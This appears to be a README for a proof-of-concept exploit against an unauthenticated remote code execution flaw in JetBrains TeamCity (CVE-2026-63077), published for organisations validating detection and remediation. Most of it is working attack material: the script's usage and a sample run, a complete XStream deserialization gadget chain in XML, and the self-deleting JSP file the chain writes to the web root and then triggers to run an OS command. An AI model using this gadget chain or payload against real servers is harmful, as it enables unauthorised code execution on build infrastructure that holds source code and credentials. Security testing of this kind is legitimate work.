
Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)
This is a proof-of-concept exploit script for CVE-2026-63077. Organizations can use this script to validate their detection and remediation posture.
For a full technical analysis of CVE-2026-63077, please read our Rapid7 Analysis.
$ python3 CVE-2026-63077.py --help
usage: CVE-2026-63077.py [-h] [--cmd CMD] [--webroot-relative WEBROOT_RELATIVE] [--dump-payload DUMP_PAYLOAD] [--response-out RESPONSE_OUT] [--http-timeout HTTP_TIMEOUT] base_url
positional arguments:
base_url TeamCity base URL, for example http://192.168.86.171:8111
options:
-h, --help show this help message and exit
--cmd CMD operating-system command passed to Runtime.exec() (default: notepad.exe)
--webroot-relative WEBROOT_RELATIVE
TeamCity webroot relative to HSQLDB's process working directory (default: ../webapps/ROOT for the stock Windows installation)
--dump-payload DUMP_PAYLOAD
optional path for the generated XML payload
--response-out RESPONSE_OUT
optional path for the final JSP response body
--http-timeout HTTP_TIMEOUT
timeout in seconds for each HTTP request
$ python3 CVE-2026-63077.py --cmd "notepad.exe" http://192.168.86.171:8111
=======================================================================================
Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)
=======================================================================================
[+] Targeting: http://192.168.86.171:8111
[+] Registering session: /app/agents/v1/register returned session 81:098323b2a2366471360bf6369a374eee
[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP 500
[+] Triggering JSPWS payload: /ceeed88f41d1.jspws returned HTTP 200
[+] Command executed: notepad.exe
This is an example of the XStream gadget chain used by the exploit. It writes a polyglot SQL/JSP file to disk and then RCE is achieved when a GET request to the dropped file is made.
<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
<entry>
<string>ddb3d64cfab4</string>
<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
<outer-class>
<myHSQLStorage>
<myDataSource>
<defaultTransactionIsolation>-1</defaultTransactionIsolation>
<cacheState>true</cacheState>
<driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
<lifo>true</lifo>
<maxTotal>8</maxTotal>
<maxIdle>8</maxIdle>
<minIdle>0</minIdle>
<initialSize>0</initialSize>
<maxWaitMillis>-1</maxWaitMillis>
<poolPreparedStatements>false</poolPreparedStatements>
<clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
<maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
<testOnCreate>false</testOnCreate>
<testOnBorrow>true</testOnBorrow>
<testOnReturn>false</testOnReturn>
<timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
<numTestsPerEvictionRun>3</numTestsPerEvictionRun>
<minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
<softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
<evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
<testWhileIdle>false</testWhileIdle>
<password/>
<url>jdbc:hsqldb:mem:e4463d436a0a</url>
<userName>SA</userName>
<validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
<connectionInitSqls>
<string>CREATE TABLE IF NOT EXISTS TAB5C7787B386(C5084422879AC VARCHAR(4000))</string>
<string>INSERT INTO TAB5C7787B386 VALUES ('<% if (application.getAttribute("010906e89631") == null) { application.setAttribute( "010906e89631", java.lang.Boolean.TRUE ); java.nio.file.Files.deleteIfExists( java.nio.file.Path.of( application.getRealPath("/8e015de190fe.jspws") ) ); java.lang.Runtime.getRuntime().exec("notepad.exe"); out.print("e63504e0601d"); } %>')</string>
<string>SCRIPT '../webapps/ROOT/8e015de190fe.jspws'</string>
</connectionInitSqls>
<accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
<maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
<logExpiredConnections>true</logExpiredConnections>
<autoCommitOnReturn>true</autoCommitOnReturn>
<rollbackOnReturn>true</rollbackOnReturn>
<fastFailValidation>false</fastFailValidation>
<connectionProperties/>
<closed>false</closed>
</myDataSource>
<myStopped>false</myStopped>
<myDatabaseOpen>false</myDatabaseOpen>
</myHSQLStorage>
</outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
</entry>
<entry>
<string>95033392cf88</string>
<freemarker.ext.beans.HashAdapter>
<wrapper>
<sharedIntrospectionLock/>
<classIntrospector>
<exposureLevel>0</exposureLevel>
<exposeFields>false</exposeFields>
<treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
<incompatibleImprovements>
<major>2</major>
<minor>3</minor>
<micro>0</micro>
<intValue>2003000</intValue>
<calculatedStringValue>2.3.0</calculatedStringValue>
<hashCode>0</hashCode>
</incompatibleImprovements>
<hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
<shared>false</shared>
<sharedLock reference="../../sharedIntrospectionLock"/>
<cache/>
<cacheClassNames/>
<classIntrospectionsInProgress/>
<modelFactories/>
<clearingCounter>0</clearingCounter>
</classIntrospector>
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<writeProtected>false</writeProtected>
<defaultDateType>0</defaultDateType>
<methodsShadowItems>true</methodsShadowItems>
<simpleMapWrapper>false</simpleMapWrapper>
<strict>false</strict>
<preferIndexedReadMethod>true</preferIndexedReadMethod>
<incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
</entry>
<entry>
<string>ca89881ab2ce</string>
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>
</entry>
</linked-hash-map>
The dropped JSPWS file will contain the following, to execute an OS command before deleting itself.
if (application.getAttribute("010906e89631") == null) {
application.setAttribute("010906e89631", java.lang.Boolean.TRUE);
java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("/8e015de190fe.jspws")));
java.lang.Runtime.getRuntime().exec("notepad.exe");
out.print("e63504e0601d");
}